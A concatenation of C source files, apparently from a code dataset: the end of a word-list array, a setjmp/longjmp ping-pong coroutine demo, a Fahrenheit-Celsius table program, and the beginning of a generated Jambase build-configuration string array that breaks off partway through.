"term",
"terror",
"test",
"text",
"than",
"thank",
"that",
"the",
"their",
"them",
"theme",
"then",
"thence",
"theory",
"there",
"these",
"thesis",
"they",
"thick",
"thief",
"thigh",
"thin",
"thing",
"think",
"third",
"thirst",
"thirty",
"this",
"thorn",
"those",
"though",
"thread",
"threat",
"three",
"thrill",
"thrive",
"throat",
"throne",
"throng",
"throw",
"thrust",
"thud",
"thug",
"thumb",
"thus",
"thyme",
"tick",
"ticket",
"tidal",
"tide",
"tidy",
"tie",
"tier",
"tiger",
"tight",
"tile",
"till",
"tilt",
"timber",
"time",
"timid",
"tin",
"tiny",
"tip",
"tissue",
"title",
"toad",
"toast",
"today",
"toilet",
"token",
"told",
"toll",
"tomato",
"tomb",
"tonal",
"tone",
"tongue",
"tonic",
"too",
"took",
"tool",
"tooth",
"top",
"topaz",
"topic",
"torch",
"torque",
"torso",
"tort",
"toss",
"total",
"touch",
"tough",
"tour",
"toward",
"towel",
"tower",
"town",
"toxic",
"toxin",
"trace",
"track",
"tract",
"trade",
"tragic",
"trail",
"train",
"trait",
"tram",
"trance",
"trap",
"trauma",
"travel",
"tray",
"tread",
"treat",
"treaty",
"treble",
"tree",
"trek",
"tremor",
"trench",
"trend",
"trendy",
"trial",
"tribal",
"tribe",
"trick",
"tricky",
"tried",
"trifle",
"trim",
"trio",
"trip",
"triple",
"troop",
"trophy",
"trot",
"trough",
"trout",
"truce",
"truck",
"true",
"truly",
"trunk",
"trust",
"truth",
"try",
"tsar",
"tube",
"tumble",
"tuna",
"tundra",
"tune",
"tung",
"tunic",
"tunnel",
"turban",
"turf",
"turn",
"turtle",
"tutor",
"tweed",
"twelve",
"twenty",
"twice",
"twin",
"twist",
"two",
"tycoon",
"tying",
"type",
"tyrant",
"ugly",
"ulcer",
"ultra",
"umpire",
"unable",
"uncle",
"under",
"uneasy",
"unfair",
"unify",
"union",
"unique",
"unit",
"unite",
"unity",
"unlike",
"unrest",
"unruly",
"until",
"update",
"upheld",
"uphill",
"uphold",
"upon",
"uproar",
"upset",
"upshot",
"uptake",
"upturn",
"upward",
"urban",
"urge",
"urgent",
"urging",
"urine",
"usable",
"usage",
"use",
"useful",
"user",
"usual",
"uterus",
"utmost",
"utter",
"vacant",
"vacuum",
"vagina",
"vague",
"vain",
"valet",
"valid",
"valley",
"value",
"valve",
"van",
"vanish",
"vanity",
"vary",
"vase",
"vast",
"vat",
"vault",
"vector",
"veil",
"vein",
"velvet",
"vendor",
"veneer",
"venom",
"vent",
"venue",
"verb",
"verbal",
"verge",
"verify",
"verity",
"verse",
"versus",
"very",
"vessel",
"vest",
"veto",
"via",
"viable",
"vicar",
"vice",
"victim",
"victor",
"video",
"view",
"vigil",
"vile",
"villa",
"vine",
"vinyl",
"viola",
"violet",
"violin",
"viral",
"virgin",
"virtue",
"virus",
"visa",
"vision",
"visit",
"visual",
"vital",
"vivid",
"vocal",
"vodka",
"vogue",
"voice",
"void",
"volley",
"volume",
"vomit",
"vote",
"vowel",
"voyage",
"vulgar",
"wade",
"wage",
"waist",
"wait",
"waiter",
"wake",
"walk",
"walker",
"wall",
"wallet",
"walnut",
"wander",
"want",
"war",
"warden",
"warm",
"warmth",
"warn",
"warp",
"wary",
"was",
"wash",
"wasp",
"waste",
"watch",
"water",
"watery",
"wave",
"way",
"weak",
"weaken",
"wealth",
"weapon",
"wear",
"weary",
"wedge",
"wee",
"weed",
"week",
"weekly",
"weep",
"weight",
"weird",
"well",
"were",
"wet",
"whale",
"wharf",
"what",
"wheat",
"wheel",
"when",
"whence",
"where",
"which",
"whiff",
"whig",
"while",
"whim",
"whip",
"whisky",
"white",
"who",
"whole",
"wholly",
"whom",
"whore",
"whose",
"why",
"wide",
"widely",
"widen",
"wider",
"widow",
"width",
"wife",
"wild",
"wildly",
"wilful",
"will",
"willow",
"win",
"wind",
"window",
"windy",
"wine",
"wing",
"wink",
"winner",
"winter",
"wipe",
"wire",
"wisdom",
"wise",
"wish",
"wit",
"witch",
"with",
"within",
"witty",
"wizard",
"woke",
"wolf",
"wolves",
"woman",
"womb",
"won",
"wonder",
"wood",
"wooden",
"woods",
"woody",
"wool",
"word",
"work",
"worker",
"world",
"worm",
"worry",
"worse",
"worst",
"worth",
"worthy",
"would",
"wound",
"wrap",
"wrath",
"wreath",
"wreck",
"wright",
"wrist",
"writ",
"write",
"writer",
"wrong",
"xerox",
"yacht",
"yard",
"yarn",
"yeah",
"year",
"yeast",
"yellow",
"yet",
"yield",
"yogurt",
"yolk",
"you",
"young",
"your",
"youth",
"zeal",
"zebra",
"zenith",
"zero",
"zigzag",
"zinc",
"zombie",
"zone"
};
|
the_stack_data/62785.c | // http://www.csl.mtu.edu/cs4411.ck/www/NOTES/non-local-goto/coroutine.html
/* ---------------------------------------------------------------- */
/* PROGRAM pingpong : */
/* This program uses setjmp() and longjmp() to implement an */
/* example of coroutine. */
/* ---------------------------------------------------------------- */
#include <stdio.h>
#include <setjmp.h>
int max_iteration; /* the max # of iterations */
int iter; /* global iteration counter */
jmp_buf Main; /* jump back to main() */
jmp_buf PointPing; /* jump buffer in Ping() */
jmp_buf PointPong; /* jump buffer in Pong() */
/* ---------------------------------------------------------------- */
/* Function Prototypes */
/* ---------------------------------------------------------------- */
void Ping(void);
void Pong(void);
/* ---------------------------------------------------------------- */
/* The main program starts here */
/* ---------------------------------------------------------------- */
void main(int argc, char* argv[])
{
if (argc != 2) { /* check # of arguments */
printf("Use %s max-#-of-lines\n", argv[0]);
exit(1);
}
max_iteration = abs(atoi(argv[1]));/* get max # of iterations */
iter = 1; /* initial iteration count */
if (setjmp(Main) == 0) /* set a return mark */
Ping(); /* initialize Ping() */
if (setjmp(Main) == 0) /* set a return mark */
Pong(); /* initialize Pong() */
longjmp(PointPing, 1); /* ok, jump to Ping() */
}
/* ---------------------------------------------------------------- */
/* FUNCTION Ping : */
/* This function marks a return point when it is initialized. */
/* Then, it starts a loop and jump back and forth between itself */
/* and function Pong() using jump buffers. */
/* ---------------------------------------------------------------- */
void Ping(void)
{
if (setjmp(PointPing) == 0) /* set a return mark */
longjmp(Main, 1); /* jump back to main */
while (1) { /* main will jump to here */
printf("%3d : Ping-", iter); /* display Ping */
if (setjmp(PointPing) == 0) /* set a return mark */
longjmp(PointPong, 1); /* jump to Pong() */
}
}
/* ---------------------------------------------------------------- */
/* FUNCTION Pong : */
/* This function marks a return point when it is initialized. */
/* Then, it starts a loop and jump back and forth between itself */
/* and function Ping() using jump buffers. */
/* ---------------------------------------------------------------- */
void Pong(void)
{
if (setjmp(PointPong) == 0) /* set a return mark */
longjmp(Main, 1); /* jump back to main */
while (1) { /* main will jump to here */
printf("Pong\n"); /* display Pong */
iter++; /* increase iteration count */
if (iter > max_iteration) /* should I stop? */
exit(0); /* yes, then exit */
if (setjmp(PointPong) == 0) /* no, set a return mark */
longjmp(PointPing, 1); /* then jump to Ping() */
}
}
|
the_stack_data/29824655.c | // Fahreheit-Celsius table with heading
#include <stdio.h>
int main(void)
{
float fahr, celsius;
int lower, upper, step;
lower = 0;
upper = 300;
step = 20;
printf("Fahrenheit-Celsius table\n\n");
printf("F C\n\n");
fahr = lower;
while (fahr <= upper)
{
celsius = (5.0 / 9.0) * (fahr - 32.0);
printf("%3.0f %6.1f\n", fahr, celsius);
fahr = fahr + step;
}
return 0;
}
|
the_stack_data/193892783.c | /* Generated by mkjambase from Jambase */
char *jambase[] = {
/* Jambase */
"if $(NT)\n",
"{\n",
"SLASH ?= \\\\ ;\n",
"}\n",
"SLASH ?= / ;\n",
"rule find-to-root ( dir : patterns + )\n",
"{\n",
"local globs = [ GLOB $(dir) : $(patterns) ] ;\n",
"while ! $(globs) && $(dir:P) != $(dir)\n",
"{\n",
"dir = $(dir:P) ;\n",
"globs = [ GLOB $(dir) : $(patterns) ] ;\n",
"}\n",
"return $(globs) ;\n",
"}\n",
".boost-build-file = ;\n",
".bootstrap-file = ;\n",
"BOOST_BUILD_PATH.user-value = $(BOOST_BUILD_PATH) ;\n",
"rule boost-build ( dir ? )\n",
"{\n",
"if $(.bootstrap-file)\n",
"{\n",
"EXIT \"Error: Illegal attempt to re-bootstrap the build system by invoking\" ;\n",
"ECHO ;\n",
"ECHO \" 'boost-build\" $(dir) \";'\" ;\n",
"ECHO ;\n",
"EXIT \"Please consult the documentation at 'http://www.boost.org'.\" ;\n",
"}\n",
"BOOST_BUILD_PATH = $(dir:R=$(.boost-build-file:D)) $(BOOST_BUILD_PATH) ;\n",
"local bootstrap-file =\n",
"[ GLOB $(BOOST_BUILD_PATH) : bootstrap.jam ] ;\n",
".bootstrap-file = $(bootstrap-file[1]) ;\n",
"if ! $(.bootstrap-file)\n",
"{\n",
"ECHO \"Unable to load Boost.Build: could not find build system.\" ;\n",
"ECHO --------------------------------------------------------- ;\n",
"ECHO \"$(.boost-build-file) attempted to load the build system by invoking\" ;\n",
"ECHO ;\n",
"ECHO \" 'boost-build\" $(dir) \";'\" ;\n",
"ECHO ;\n",
"ECHO \"but we were unable to find \\\"bootstrap.jam\\\" in the specified directory\" ;\n",
"ECHO \"or in BOOST_BUILD_PATH (searching \"$(BOOST_BUILD_PATH:J=\", \")\").\" ;\n",
"ECHO ;\n",
"EXIT \"Please consult the documentation at 'http://www.boost.org'.\" ;\n",
"}\n",
"include $(.bootstrap-file) ;\n",
"}\n",
"if [ MATCH .*(bjam).* : $(ARGV[1]:BL) ]\n",
"|| $(BOOST_ROOT) # A temporary measure so Jam works with Boost.Build v1\n",
"{\n",
"local search-path = $(BOOST_BUILD_PATH) $(BOOST_ROOT) ;\n",
"local boost-build-files =\n",
"[ find-to-root [ PWD ] : boost-build.jam ]\n",
"[ GLOB $(search-path) : boost-build.jam ] ;\n",
".boost-build-file = $(boost-build-files[1]) ;\n",
"if ! $(.boost-build-file)\n",
"{\n",
"ECHO \"Unable to load Boost.Build: could not find \\\"boost-build.jam\\\"\" ;\n",
"ECHO --------------------------------------------------------------- ;\n",
"if ! [ MATCH .*(bjam).* : $(ARGV[1]:BL) ]\n",
"{\n",
"ECHO \"BOOST_ROOT must be set, either in the environment, or \" ;\n",
"ECHO \"on the command-line with -sBOOST_ROOT=..., to the root\" ;\n",
"ECHO \"of the boost installation.\" ;\n",
"ECHO ;\n",
"}\n",
"ECHO \"Attempted search from\" [ PWD ] \"up to the root\" ;\n",
"ECHO \"and in these directories from BOOST_BUILD_PATH and BOOST_ROOT: \"$(search-path:J=\", \")\".\" ;\n",
"EXIT \"Please consult the documentation at 'http://www.boost.org'.\" ;\n",
"}\n",
"include $(.boost-build-file) ;\n",
"if ! $(.bootstrap-file)\n",
"{\n",
"ECHO \"Unable to load Boost.Build\" ;\n",
"ECHO -------------------------- ;\n",
"ECHO \"\\\"$(.boost-build-file)\\\" was found by searching from\" [ PWD ] \"up to the root\" ;\n",
"ECHO \"and in these directories from BOOST_BUILD_PATH and BOOST_ROOT: \"$(search-path:J=\", \")\".\" ;\n",
"ECHO ;\n",
"ECHO \"However, it failed to call the \\\"boost-build\\\" rule to indicate\" ;\n",
"ECHO \"the location of the build system.\" ;\n",
"ECHO ;\n",
"EXIT \"Please consult the documentation at 'http://www.boost.org'.\" ;\n",
"}\n",
"}\n",
"else\n",
"{\n",
"if $(NT)\n",
"{\n",
"local SUPPORTED_TOOLSETS = \"BORLANDC\" \"VC7\" \"VISUALC\" \"VISUALC16\" \"INTELC\" \"WATCOM\"\n",
"\"MINGW\" \"LCC\" ;\n",
"TOOLSET = \"\" ;\n",
"if $(JAM_TOOLSET)\n",
"{\n",
"local t ;\n",
"for t in $(SUPPORTED_TOOLSETS)\n",
"{\n",
"$(t) = $($(t):J=\" \") ; # reconstitute paths with spaces in them\n",
"if $(t) = $(JAM_TOOLSET) { TOOLSET = $(t) ; }\n",
"}\n",
"if ! $(TOOLSET)\n",
"{\n",
"ECHO \"The JAM_TOOLSET environment variable is defined but its value\" ;\n",
"ECHO \"is invalid, please use one of the following:\" ;\n",
"ECHO ;\n",
"for t in $(SUPPORTED_TOOLSETS) { ECHO \" \" $(t) ; }\n",
"EXIT ;\n",
"}\n",
"}\n",
"if ! $(TOOLSET)\n",
"{\n",
"if $(BCCROOT)\n",
"{\n",
"TOOLSET = BORLANDC ;\n",
"BORLANDC = $(BCCROOT:J=\" \") ;\n",
"}\n",
"else if $(MSVC)\n",
"{\n",
"TOOLSET = VISUALC16 ;\n",
"VISUALC16 = $(MSVC:J=\" \") ;\n",
"}\n",
"else if $(MSVCNT)\n",
"{\n",
"TOOLSET = VISUALC ;\n",
"VISUALC = $(MSVCNT:J=\" \") ;\n",
"}\n",
"else if $(MSVCDir)\n",
"{\n",
"TOOLSET = VISUALC ;\n",
"VISUALC = $(MSVCDir:J=\" \") ;\n",
"}\n",
"else if $(MINGW)\n",
"{\n",
"TOOLSET = MINGW ;\n",
"}\n",
"else\n",
"{\n",
"ECHO \"Jam cannot be run because, either:\" ;\n",
"ECHO \" a. You didn't set BOOST_ROOT to indicate the root of your\" ;\n",
"ECHO \" Boost installation.\" ;\n",
"ECHO \" b. You are trying to use stock Jam but didn't indicate which\" ;\n",
"ECHO \" compilation toolset to use. To do so, follow these simple\" ;\n",
"ECHO \" instructions:\" ;\n",
"ECHO ;\n",
"ECHO \" - define one of the following environment variable, with the\" ;\n",
"ECHO \" appropriate value according to this list:\" ;\n",
"ECHO ;\n",
"ECHO \" Variable Toolset Description\" ;\n",
"ECHO ;\n",
"ECHO \" BORLANDC Borland C++ BC++ install path\" ;\n",
"ECHO \" VISUALC Microsoft Visual C++ VC++ install path\" ;\n",
"ECHO \" VISUALC16 Microsoft Visual C++ 16 bit VC++ 16 bit install\" ;\n",
"ECHO \" INTELC Intel C/C++ IC++ install path\" ;\n",
"ECHO \" WATCOM Watcom C/C++ Watcom install path\" ;\n",
"ECHO \" MINGW MinGW (gcc) MinGW install path\" ;\n",
"ECHO \" LCC Win32-LCC LCC-Win32 install path\" ;\n",
"ECHO ;\n",
"ECHO \" - define the JAM_TOOLSET environment variable with the *name*\" ;\n",
"ECHO \" of the toolset variable you want to use.\" ;\n",
"ECHO ;\n",
"ECHO \" e.g.: set VISUALC=C:\\\\Visual6\" ;\n",
"ECHO \" set JAM_TOOLSET=VISUALC\" ;\n",
"EXIT ;\n",
"}\n",
"}\n",
"CP ?= copy ;\n",
"RM ?= del /f/q ;\n",
"SLASH ?= \\\\ ;\n",
"SUFLIB ?= .lib ;\n",
"SUFOBJ ?= .obj ;\n",
"SUFEXE ?= .exe ;\n",
"if $(TOOLSET) = BORLANDC\n",
"{\n",
"ECHO \"Compiler is Borland C++\" ;\n",
"AR ?= tlib /C /P64 ;\n",
"CC ?= bcc32 ;\n",
"CCFLAGS ?= -q -y -d -v -w-par -w-ccc -w-rch -w-pro -w-aus ;\n",
"C++ ?= bcc32 ;\n",
"C++FLAGS ?= -q -y -d -v -w-par -w-ccc -w-rch -w-pro -w-aus -P ;\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= $(CCFLAGS) ;\n",
"STDLIBPATH ?= $(BORLANDC)\\\\lib ;\n",
"STDHDRS ?= $(BORLANDC)\\\\include ;\n",
"NOARSCAN ?= true ;\n",
"}\n",
"else if $(TOOLSET) = VISUALC16\n",
"{\n",
"ECHO \"Compiler is Microsoft Visual C++ 16 bit\" ;\n",
"AR ?= lib /nologo ;\n",
"CC ?= cl /nologo ;\n",
"CCFLAGS ?= /D \\\"WIN\\\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= $(CCFLAGS) ;\n",
"LINKLIBS ?= \n",
"\\\"$(VISUALC16)\\\\lib\\\\mlibce.lib\\\"\n",
"\\\"$(VISUALC16)\\\\lib\\\\oldnames.lib\\\"\n",
";\n",
"LINKLIBS ?= ;\n",
"NOARSCAN ?= true ;\n",
"OPTIM ?= \"\" ;\n",
"STDHDRS ?= $(VISUALC16)\\\\include ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = VISUALC\n",
"{\n",
"ECHO \"Compiler is Microsoft Visual C++\" ;\n",
"AR ?= lib ;\n",
"AS ?= masm386 ;\n",
"CC ?= cl /nologo ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= link /nologo ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= \\\"$(VISUALC)\\\\lib\\\\advapi32.lib\\\"\n",
"\\\"$(VISUALC)\\\\lib\\\\gdi32.lib\\\"\n",
"\\\"$(VISUALC)\\\\lib\\\\user32.lib\\\"\n",
"\\\"$(VISUALC)\\\\lib\\\\kernel32.lib\\\" ;\n",
"OPTIM ?= \"\" ;\n",
"STDHDRS ?= $(VISUALC)\\\\include ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = VC7\n",
"{\n",
"ECHO \"Compiler is Microsoft Visual C++ .NET\" ;\n",
"AR ?= lib ;\n",
"AS ?= masm386 ;\n",
"CC ?= cl /nologo ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= link /nologo ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= \\\"$(VISUALC)\\\\PlatformSDK\\\\lib\\\\advapi32.lib\\\"\n",
"\\\"$(VISUALC)\\\\PlatformSDK\\\\lib\\\\gdi32.lib\\\"\n",
"\\\"$(VISUALC)\\\\PlatformSDK\\\\lib\\\\user32.lib\\\"\n",
"\\\"$(VISUALC)\\\\PlatformSDK\\\\lib\\\\kernel32.lib\\\" ;\n",
"OPTIM ?= \"\" ;\n",
"STDHDRS ?= \\\"$(VISUALC)\\\\include\\\"\n",
"\\\"$(VISUALC)\\\\PlatformSDK\\\\include\\\" ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = INTELC\n",
"{\n",
"ECHO \"Compiler is Intel C/C++\" ;\n",
"if ! $(VISUALC)\n",
"{\n",
"ECHO \"As a special exception, when using the Intel C++ compiler, you need\" ;\n",
"ECHO \"to define the VISUALC environment variable to indicate the location\" ;\n",
"ECHO \"of your Visual C++ installation. Aborting..\" ;\n",
"EXIT ;\n",
"}\n",
"AR ?= lib ;\n",
"AS ?= masm386 ;\n",
"CC ?= icl /nologo ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= link /nologo ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= $(VISUALC)\\\\lib\\\\advapi32.lib\n",
"$(VISUALC)\\\\lib\\\\kernel32.lib\n",
";\n",
"OPTIM ?= \"\" ;\n",
"STDHDRS ?= $(INTELC)\\include $(VISUALC)\\\\include ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = WATCOM\n",
"{\n",
"ECHO \"Compiler is Watcom C/C++\" ;\n",
"AR ?= wlib ;\n",
"CC ?= wcc386 ;\n",
"CCFLAGS ?= /zq /DWIN32 /I$(WATCOM)\\\\h ; # zq=quiet\n",
"C++ ?= wpp386 ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"CP ?= copy ;\n",
"DOT ?= . ;\n",
"DOTDOT ?= .. ;\n",
"LINK ?= wcl386 ;\n",
"LINKFLAGS ?= /zq ; # zq=quiet\n",
"LINKLIBS ?= ;\n",
"MV ?= move ;\n",
"NOARSCAN ?= true ;\n",
"OPTIM ?= ;\n",
"RM ?= del /f ;\n",
"SLASH ?= \\\\ ;\n",
"STDHDRS ?= $(WATCOM)\\\\h $(WATCOM)\\\\h\\\\nt ;\n",
"SUFEXE ?= .exe ;\n",
"SUFLIB ?= .lib ;\n",
"SUFOBJ ?= .obj ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = MINGW\n",
"{\n",
"ECHO \"Compiler is GCC with Mingw\" ;\n",
"AR ?= ar -ru ;\n",
"CC ?= gcc ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= \"\" ;\n",
"OPTIM ?= ;\n",
"SUFOBJ = .o ;\n",
"SUFLIB = .a ;\n",
"SLASH = / ;\n",
"}\n",
"else if $(TOOLSET) = LCC\n",
"{\n",
"ECHO \"Compiler is Win32-LCC\" ;\n",
"AR ?= lcclib ;\n",
"CC ?= lcc ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= lcclnk ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= \"\" ;\n",
"OPTIM ?= ;\n",
"NOARSCAN = true ;\n",
"}\n",
"else\n",
"{\n",
"EXIT On NT, set BCCROOT, MSVCNT, MINGW or MSVC to the root of the\n",
"Borland or Microsoft directories. ;\n",
"}\n",
"}\n",
"else if $(OS2)\n",
"{\n",
"local SUPPORTED_TOOLSETS = \"EMX\" \"WATCOM\" ;\n",
"TOOLSET = \"\" ;\n",
"if $(JAM_TOOLSET)\n",
"{\n",
"local t ;\n",
"for t in $(SUPPORTED_TOOLSETS)\n",
"{\n",
"$(t) = $($(t):J=\" \") ; # reconstitute paths with spaces in them\n",
"if $(t) = $(JAM_TOOLSET) { TOOLSET = $(t) ; }\n",
"}\n",
"if ! $(TOOLSET)\n",
"{\n",
"ECHO \"The JAM_TOOLSET environment variable is defined but its value\" ;\n",
"ECHO \"is invalid, please use one of the following:\" ;\n",
"ECHO ;\n",
"for t in $(SUPPORTED_TOOLSETS) { ECHO \" \" $(t) ; }\n",
"EXIT ;\n",
"}\n",
"}\n",
"if ! $(TOOLSET)\n",
"{\n",
"if $(watcom)\n",
"{\n",
"WATCOM = $(watcom:J=\" \") ;\n",
"TOOLSET = WATCOM ;\n",
"}\n",
"else\n",
"{\n",
"ECHO \"Jam cannot be run because you didn't indicate which compilation toolset\" ;\n",
"ECHO \"to use. To do so, follow these simple instructions:\" ;\n",
"ECHO ;\n",
"ECHO \" - define one of the following environment variable, with the\" ;\n",
"ECHO \" appropriate value according to this list:\" ;\n",
"ECHO ;\n",
"ECHO \" Variable Toolset Description\" ;\n",
"ECHO ;\n",
"ECHO \" WATCOM Watcom C/C++ Watcom install path\" ;\n",
"ECHO \" EMX EMX (gcc) EMX install path\" ;\n",
"ECHO \" VISUALAGE IBM Visual Age C/C++ VisualAge install path\" ;\n",
"ECHO ;\n",
"ECHO \" - define the JAM_TOOLSET environment variable with the *name*\" ;\n",
"ECHO \" of the toolset variable you want to use.\" ;\n",
"ECHO ;\n",
"ECHO \" e.g.: set WATCOM=C:\\WATCOM\" ;\n",
"ECHO \" set JAM_TOOLSET=WATCOM\" ;\n",
"ECHO ;\n",
"EXIT ;\n",
"}\n",
"}\n",
"RM = del /f ;\n",
"CP = copy ;\n",
"MV ?= move ;\n",
"DOT ?= . ;\n",
"DOTDOT ?= .. ;\n",
"SUFLIB ?= .lib ;\n",
"SUFOBJ ?= .obj ;\n",
"SUFEXE ?= .exe ;\n",
"if $(TOOLSET) = WATCOM\n",
"{\n",
"AR ?= wlib ;\n",
"BINDIR ?= \\\\os2\\\\apps ;\n",
"CC ?= wcc386 ;\n",
"CCFLAGS ?= /zq /DOS2 /I$(WATCOM)\\\\h ; # zq=quiet\n",
"C++ ?= wpp386 ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= wcl386 ;\n",
"LINKFLAGS ?= /zq ; # zq=quiet\n",
"LINKLIBS ?= ;\n",
"NOARSCAN ?= true ;\n",
"OPTIM ?= ;\n",
"SLASH ?= \\\\ ;\n",
"STDHDRS ?= $(WATCOM)\\\\h ;\n",
"UNDEFFLAG ?= \"/u _\" ;\n",
"}\n",
"else if $(TOOLSET) = EMX\n",
"{\n",
"ECHO \"Compiler is GCC-EMX\" ;\n",
"AR ?= ar -ru ;\n",
"CC ?= gcc ;\n",
"CCFLAGS ?= \"\" ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= $(CCFLAGS) ;\n",
"LINK ?= $(CC) ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= \"\" ;\n",
"OPTIM ?= ;\n",
"SUFOBJ = .o ;\n",
"SUFLIB = .a ;\n",
"UNDEFFLAG ?= \"-U\" ;\n",
"SLASH = / ;\n",
"}\n",
"else\n",
"{\n",
"EXIT \"Sorry, but the $(JAM_TOOLSET) toolset isn't supported for now\" ;\n",
"}\n",
"}\n",
"else if $(VMS)\n",
"{\n",
"C++ ?= cxx ;\n",
"C++FLAGS ?= ;\n",
"CC ?= cc ;\n",
"CCFLAGS ?= ;\n",
"CHMOD ?= set file/prot= ;\n",
"CP ?= copy/replace ;\n",
"CRELIB ?= true ;\n",
"DOT ?= [] ;\n",
"DOTDOT ?= [-] ;\n",
"EXEMODE ?= (w:e) ;\n",
"FILEMODE ?= (w:r) ;\n",
"HDRS ?= ;\n",
"LINK ?= link ;\n",
"LINKFLAGS ?= \"\" ;\n",
"LINKLIBS ?= ;\n",
"MKDIR ?= create/dir ;\n",
"MV ?= rename ;\n",
"OPTIM ?= \"\" ;\n",
"RM ?= delete ;\n",
"RUNVMS ?= mcr ;\n",
"SHELLMODE ?= (w:er) ;\n",
"SLASH ?= . ;\n",
"STDHDRS ?= decc$library_include ;\n",
"SUFEXE ?= .exe ;\n",
"SUFLIB ?= .olb ;\n",
"SUFOBJ ?= .obj ;\n",
"switch $(OS) \n",
"{\n",
"case OPENVMS : CCFLAGS ?= /stand=vaxc ;\n",
"case VMS : LINKLIBS ?= sys$library:vaxcrtl.olb/lib ;\n",
"}\n",
"}\n",
"else if $(MAC)\n",
"{\n",
"local OPT ;\n",
"CW ?= \"{CW}\" ;\n",
"MACHDRS ?=\n",
"\"$(UMACHDRS):Universal:Interfaces:CIncludes\"\n",
"\"$(CW):MSL:MSL_C:MSL_Common:Include\"\n",
"\"$(CW):MSL:MSL_C:MSL_MacOS:Include\" ;\n",
"MACLIBS ?=\n",
"\"$(CW):MacOS Support:Universal:Libraries:StubLibraries:Interfacelib\"\n",
"\"$(CW):MacOS Support:Universal:Libraries:StubLibraries:Mathlib\" ;\n",
"MPWLIBS ?= \n",
"\"$(CW):MacOS Support:Libraries:Runtime:Runtime PPC:MSL MPWCRuntime.lib\"\n",
"\"$(CW):MSL:MSL_C:MSL_MacOS:Lib:PPC:MSL C.PPC MPW.Lib\" ;\n",
"MPWNLLIBS ?= \n",
"\"$(CW):MacOS Support:Libraries:Runtime:Runtime PPC:MSL MPWCRuntime.lib\"\n",
"\"$(CW):MSL:MSL_C:MSL_MacOS:Lib:PPC:MSL C.PPC MPW(NL).Lib\" ;\n",
"SIOUXHDRS ?= ;\n",
"SIOUXLIBS ?= \n",
"\"$(CW):MacOS Support:Libraries:Runtime:Runtime PPC:MSL RuntimePPC.lib\"\n",
"\"$(CW):MSL:MSL_C:MSL_MacOS:Lib:PPC:MSL SIOUX.PPC.Lib\" \n",
"\"$(CW):MSL:MSL_C:MSL_MacOS:Lib:PPC:MSL C.PPC.Lib\" ;\n",
"C++ ?= mwcppc ;\n",
"C++FLAGS ?= -w off -nomapcr ;\n",
"CC ?= mwcppc ;\n",
"CCFLAGS ?= -w off -nomapcr ;\n",
"CP ?= duplicate -y ;\n",
"DOT ?= \":\" ;\n",
"DOTDOT ?= \"::\" ;\n",
"HDRS ?= $(MACHDRS) $(MPWHDRS) ;\n",
"LINK ?= mwlinkppc ;\n",
"LINKFLAGS ?= -mpwtool -warn ; \n",
"LINKLIBS ?= $(MACLIBS) $(MPWLIBS) ; \n",
"MKDIR ?= newfolder ;\n",
"MV ?= rename -y ;\n",
"NOARSCAN ?= true ;\n",
"OPTIM ?= ;\n",
"RM ?= delete -y ;\n",
"SLASH ?= \":\" ;\n",
"STDHDRS ?= ; \n",
"SUFLIB ?= .lib ;\n",
"SUFOBJ ?= .o ;\n",
"}\n",
"else if $(OS) = BEOS && $(METROWERKS)\n",
"{\n",
"AR ?= mwld -xml -o ;\n",
"BINDIR ?= /boot/apps ;\n",
"CC ?= mwcc ;\n",
"CCFLAGS ?= -nosyspath ;\n",
"C++ ?= $(CC) ;\n",
"C++FLAGS ?= -nosyspath ;\n",
"FORTRAN ?= \"\" ;\n",
"LIBDIR ?= /boot/develop/libraries ;\n",
"LINK ?= mwld ;\n",
"LINKFLAGS ?= \"\" ;\n",
"MANDIR ?= /boot/documentation/\"Shell Tools\"/HTML ;\n",
"NOARSCAN ?= true ;\n",
"STDHDRS ?= /boot/develop/headers/posix ;\n",
"}\n",
"else if $(OS) = BEOS \n",
"{\n",
"BINDIR ?= /boot/apps ;\n",
"CC ?= gcc ;\n",
"C++ ?= $(CC) ;\n",
"FORTRAN ?= \"\" ;\n",
"LIBDIR ?= /boot/develop/libraries ;\n",
"LINK ?= gcc ;\n",
"LINKLIBS ?= -lnet ;\n",
"NOARSCAN ?= true ;\n",
"STDHDRS ?= /boot/develop/headers/posix ;\n",
"}\n",
"else if $(UNIX)\n",
"{\n",
"switch $(OS)\n",
"{\n",
"case AIX :\n",
"LINKLIBS ?= -lbsd ;\n",
"case AMIGA :\n",
"CC ?= gcc ;\n",
"YACC ?= \"bison -y\" ;\n",
"case CYGWIN : \n",
"CC ?= gcc ;\n",
"CCFLAGS += -D__cygwin__ ;\n",
"LEX ?= flex ;\n",
